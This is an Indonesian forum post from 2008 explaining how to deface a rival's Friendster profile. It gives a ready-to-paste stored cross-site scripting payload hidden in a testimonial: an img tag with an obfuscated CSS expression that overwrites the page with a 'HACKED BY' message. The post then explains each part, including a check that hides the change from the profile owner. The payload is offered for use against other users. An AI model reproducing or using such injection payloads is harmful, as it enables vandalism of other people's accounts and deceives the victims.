Mendeface FS musuh

by ivan.abnormal Sat Nov 29, 2008 12:24 am

Dear All.. Ok kita semua tahu bahwa kesalahan FS yg plg besar adalah mengijinkan user untuk membuat code html kedalam testi, dan profile kita... langsung aja ke pembahasan yach... karena gw orang yg gak punya bakat buat merangkai kata2 indah...

_____Begin Of Testimonial______

Halo apa kabar ??? thanks yachh dah add gw...

<img src=http://mail.yahoo.com/config/login?/"" id="mycode" style="height:expr_/**/ession(if(pageViewerID!=pageOwnerID){document.write('<body bgcolor=black> <center>HACKED BY ivanabnormal.. Ur Account Have been Deface by ivanabnormal.. Sorry Yah... Nothing is Secure.. nobodys servers is safe.. wekete_gelo@yahoo.com ');document.title = '-friendster gw bajak...!!!-'}); width:expr_/**/ession(document.all.mycode.style.height='0px')" /></img>

_________End Of Testimonial__________

perhatikan:
<img src=http://mail.yahoo.com/config/login?/"" id="mycode" style="height:expr_/**/ession(

script diatas adalah tag html yg dipake untuk membuka jalan
agar _javascript yg kita inject bisa dijalankan

if(pageViewerID!=pageOwnerID)

fungsi diatas untuk mencegah agar yg punya fs gak
bisa ngliat klo profilenya udah berubah...
jadi perubahan ini cuma bisa dilihat sama orang lain,kecuali pemiliknya.
lalu,

document.write('< div />

script diatas adalah script _javascript yg fungsinya untuk menuliskan tag html semau kita kedalam sebuah testi... sehingga kita bisa merubah seluruh tampilan profile org yg telah mengapprove testi kita..

Sebenarnya trik di atas bs pake buat kepentingan lain tp gak mo merusak imajinasi kalian dech... hikzz..hikzzz...